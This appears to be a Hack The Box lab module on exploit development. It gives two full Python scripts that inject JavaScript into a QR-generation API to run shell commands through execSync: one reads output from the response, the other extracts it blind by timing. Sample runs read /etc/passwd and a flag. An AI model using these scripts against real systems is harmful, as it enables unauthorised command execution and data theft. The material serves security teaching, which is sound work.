# Exploit Development

## Overview

Automate the exploitation process with a Python script for easy reproduction and testing.

***

## Exploit Plan

| Step | Action                          |
| ---- | ------------------------------- |
| 1    | Obtain admin token (once)       |
| 2    | Ask user for command            |
| 3    | Inject command into payload     |
| 4    | Send authenticated POST request |
| 5    | Parse response, print output    |
| 6    | Loop back to step 2             |

***

## HTTP Response Injection Exploit

### Full Script

```python
#!/usr/bin/python3
import requests
import json

# Configuration
server = "localhost"
port = 5000
url = f"http://{server}:{port}"
auth_endpoint = f"{url}/api/auth/authenticate"
qr_endpoint = f"{url}/api/service/generate"

# Get admin token
headers = {"Content-Type": "application/json"}
data = {"email": "test@hackthebox.com"}
response = requests.post(auth_endpoint, headers=headers, data=json.dumps(data))
token = response.json()['token']
print(f"[+] Got admin token")

# Command execution loop
while True:
    user_input = input("\n> ")
    
    # Escape single quotes (breaks JS payload)
    user_input = user_input.replace("'", '"')
    
    # Build payload
    payload = {
        "text": "' + require('child_process').execSync('" + user_input + "').toString() + `'`, statusCode: 403})//"
    }
    
    # Send request
    headers = {
        "Content-Type": "application/json",
        "Authorization": f"Bearer {token}"
    }
    response = requests.post(qr_endpoint, headers=headers, data=json.dumps(payload))
    
    # Parse and print output
    try:
        output = response.json()['message'].split("The input \"")[1][:-2]
        print(output)
    except:
        print("[-] Error parsing response")
```

### Usage

```bash
$ python3 poc.py
[+] Got admin token

> ls
node_modules
package-lock.json
package.json
src

> cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
```

***

## Time-Based Blind Exploit

### Full Script

```python
#!/usr/bin/python3
import requests
import json

# Configuration
server = "TARGET_IP"
port = TARGET_PORT
url = f"http://{server}:{port}"
auth_endpoint = f"{url}/api/auth/authenticate"
qr_endpoint = f"{url}/api/service/generate"

# Get admin token
headers = {"Content-Type": "application/json"}
data = {"email": "test@hackthebox.com"}
response = requests.post(auth_endpoint, headers=headers, data=json.dumps(data))
token = response.json()['token']
print(f"[+] Got admin token")

while True:
    # Get command from user
    user_input = input("\n> ")
    user_input = user_input.replace("'", '"')
    
    i = 0
    result = ""
    
    while True:
        i += 1
        found = False
        
        # Loop over printable ASCII (32-126)
        for j in range(32, 127):
            char = chr(j)
            
            # Build time-based payload
            cmd = f'{user_input} | head -c {i} | tail -c 1 | {{ read c; if [ "$c" = "{char}" ]; then sleep 2; fi; }}'
            
            payload = {
                "text": f"'}}) + require('child_process').execSync('{cmd}')//"
            }
            
            # Escape backslashes for JSON
            payload_str = json.dumps(payload).replace("\\\\", "\\\\\\")
            
            # Send request
            headers = {
                "Content-Type": "application/json",
                "Authorization": f"Bearer {token}"
            }
            response = requests.post(qr_endpoint, headers=headers, data=payload_str)
            
            # Check if response took 2+ seconds
            if response.elapsed.total_seconds() >= 2:
                print(char, end="", flush=True)
                result += char
                found = True
                break
        
        # No match = end of output
        if not found:
            break
    
    print(f"\n[+] Result: {result}")
```

### Usage

```bash
$ python3 blind_poc.py
[+] Got admin token

> cat /flag.txt
HTB{!nj3c7_!n_7#3_d4rk}
[+] Result: HTB{!nj3c7_!n_7#3_d4rk}
```

***

## Code Breakdown

### 1. Token Acquisition

```python
data = {"email": "test@hackthebox.com"}
response = requests.post(auth_endpoint, headers=headers, data=json.dumps(data))
token = response.json()['token']
```

### 2. Quote Escaping

```python
user_input = user_input.replace("'", '"')
```

Single quotes break the JS payload: `execSync('...')`

### 3. Payload Construction

```python
payload = {
    "text": "' + require('child_process').execSync('" + user_input + "').toString() + `'`, statusCode: 403})//"
}
```

### 4. Response Parsing

```python
output = response.json()['message'].split("The input \"")[1][:-2]
```

* Split after `The input "`
* Remove last 2 chars (`\n'`)

***

## Improvements

### Error Handling

```python
try:
    output = response.json()['message'].split("The input \"")[1][:-2]
    print(output)
except KeyError:
    print("[-] Unexpected response format")
except IndexError:
    print("[-] Could not parse output")
except requests.exceptions.RequestException as e:
    print(f"[-] Request failed: {e}")
```

### Command History

```python
import readline  # Enables arrow key history

while True:
    user_input = input("> ")
    # ...
```

### Timeout Handling

```python
response = requests.post(
    qr_endpoint,
    headers=headers,
    data=json.dumps(payload),
    timeout=30
)
```

***

## Cleanup Considerations

### When Cleanup Needed

| Action                  | Cleanup Required         |
| ----------------------- | ------------------------ |
| Read commands (ls, cat) | ❌ No                     |
| Write files             | ✅ Yes - delete files     |
| Create users            | ✅ Yes - remove users     |
| Modify configs          | ✅ Yes - restore original |

### This Exploit

No cleanup needed - only executes read commands.

***

## Final Checklist

| #  | Step                           | Status |
| -- | ------------------------------ | ------ |
| 1  | Hit validateString function    | ✅      |
| 2  | Trace input in function        | ✅      |
| 3  | Obtain admin role              | ✅      |
| 4  | Reach eval function            | ✅      |
| 5  | Prepare payload                | ✅      |
| 6  | Confirm payload reaches target | ✅      |
| 7  | Confirm code injection         | ✅      |
| 8  | Reach command execution        | ✅      |
| 9  | Verify execution blindly       | ✅      |
| 10 | **Automate exploitation**      | ✅      |

***

## Summary

### HTTP Response Exploit

* Fast execution
* Direct output
* \~10 lines of core code

### Blind Time-Based Exploit

* Works without output visibility
* Slower (2s per character match)
* More complex logic

### Next Steps

1. Test on production target
2. Document findings
3. Provide patches
4. Write report
